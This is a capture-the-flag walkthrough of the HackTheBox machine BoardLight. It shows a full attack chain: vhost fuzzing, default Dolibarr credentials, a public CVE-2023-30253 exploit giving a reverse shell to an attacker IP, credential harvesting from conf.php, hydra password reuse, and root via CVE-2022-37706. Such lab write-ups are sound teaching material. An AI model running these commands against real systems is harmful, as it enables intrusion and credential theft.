Overview
BoardLight is an easy Linux machine that demonstrates how virtual host enumeration can uncover a vulnerable Dolibarr instance, where default credentials lead to authenticated code execution and eventual root access through a vulnerable Enlightenment SUID binary.
Attack Chain
- Enumerate exposed services and identify
SSH (22)andHTTP (80) - Discover the
board.htbdomain from the web application - Fuzz virtual hosts and identify
crm.board.htb - Log in to
Dolibarr 17.0.0with default credentials - Exploit
CVE-2023-30253for authenticated remote code execution - Gain a shell as
www-data - Recover database credentials from
conf.php - Reuse the password to authenticate as
larissaover SSH - Identify vulnerable
EnlightenmentSUID binaries - Exploit
CVE-2022-37706to gain a root shell
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan to identify the exposed services.
export IP=10.129.231.37; export NAME=BOARDLIGHT; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v
The open TCP ports are:
22,80

Findings
The scan reveals a small attack surface with SSH (22) and HTTP (80) exposed. Since SSH usually requires valid credentials, the web service becomes the primary enumeration target.
Web Enumeration
Main Website
Browsing to port 80 shows a basic website for a cybersecurity company.

While reviewing the site, the What we do section reveals the domain board.htb. This is added to /etc/hosts so the site can be resolved by hostname.
echo "$IP board.htb" | sudo tee -a /etc/hosts

Virtual Host Fuzzing
With the domain identified, we fuzz for additional virtual hosts using ffuf.
ffuf -u http://board.htb -c -ic -H "HOST: FUZZ.board.htb" -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -t 100 -mc all -fw 6243
The scan identifies a subdomain called crm.

The new virtual host is added to /etc/hosts.
echo "$IP crm.board.htb" | sudo tee -a /etc/hosts
Dolibarr CRM
Browsing to http://crm.board.htb reveals a Dolibarr 17.0.0 application.

Trying common default credentials succeeds with admin:admin.

This is important because Dolibarr 17.0.0 is affected by CVE-2023-30253, an authenticated vulnerability that can be abused to execute code by injecting PHP into editable content.
Foothold
Dolibarr Authenticated RCE
Although the issue can be exploited manually by injecting PHP into HTML content, I used a public proof-of-concept for CVE-2023-30253.
https://github.com/Rubikcuv5/cve-2023-30253
After cloning the repository and activating a Python 3.11 virtual environment, the exploit is ready to run.

A penelope listener is started on port 443, and the exploit is executed with the default Dolibarr credentials.
python CVE-2023-30253.py -u admin -p admin -r 10.10.14.137 443

The exploit returns a shell as www-data.

Lateral Movement
Configuration File Enumeration
From the web shell, the Dolibarr configuration directory is inspected. Inside /var/www/html/crm.board.htb/htdocs/conf, the file conf.php stands out.

Reading the file reveals stored database credentials.

The recovered password is:
serverfun2$2023!!
Password Reuse Against SSH
After obtaining the credentials from the configuration file, we need to identify a valid user on the system to test them against.
One way to do this is by listing the contents of /home:
ls /home
Alternatively, we can inspect /etc/passwd to identify users with valid shell access:
cat /etc/passwd | grep -E "sh$"
From this, we identify the user larissa.
The password is then tested against this user over SSH using hydra:
hydra -l larissa -p "serverfun2\$2023\!\!" $IP ssh
The credentials are valid.

larissa:serverfun2$2023!!
With the password confirmed, we connect over SSH.
ssh larissa@$IP
This gives us an interactive shell as larissa.

The user flag can now be read.
cat /home/larissa/user.txt

Privilege Escalation
LinPEAS Enumeration
After gaining access as larissa, linpeas.sh is executed to look for local privilege escalation paths.
The output highlights several Enlightenment binaries with the SUID bit set.

We check the installed version.
enlightenment --version
The target is running Enlightenment 0.23.1.

This version is vulnerable to CVE-2022-37706. The issue affects enlightenment_sys before version 0.25.4, where a setuid root binary mishandles pathnames beginning with /dev/.., allowing local privilege escalation.
Exploiting CVE-2022-37706
A public exploit is available on GitHub.
https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit
The exploit is transferred to the target.

Running the exploit returns a root shell.

The root flag can now be read.
cat /root/root.txt

Key Takeaways
BoardLight shows how a small web-facing attack surface can still lead to full compromise. Virtual host enumeration exposed the CRM application, default credentials allowed access to a vulnerable Dolibarr version, and a configuration file disclosed reusable credentials for SSH. The final escalation came from an outdated SUID Enlightenment binary vulnerable to CVE-2022-37706.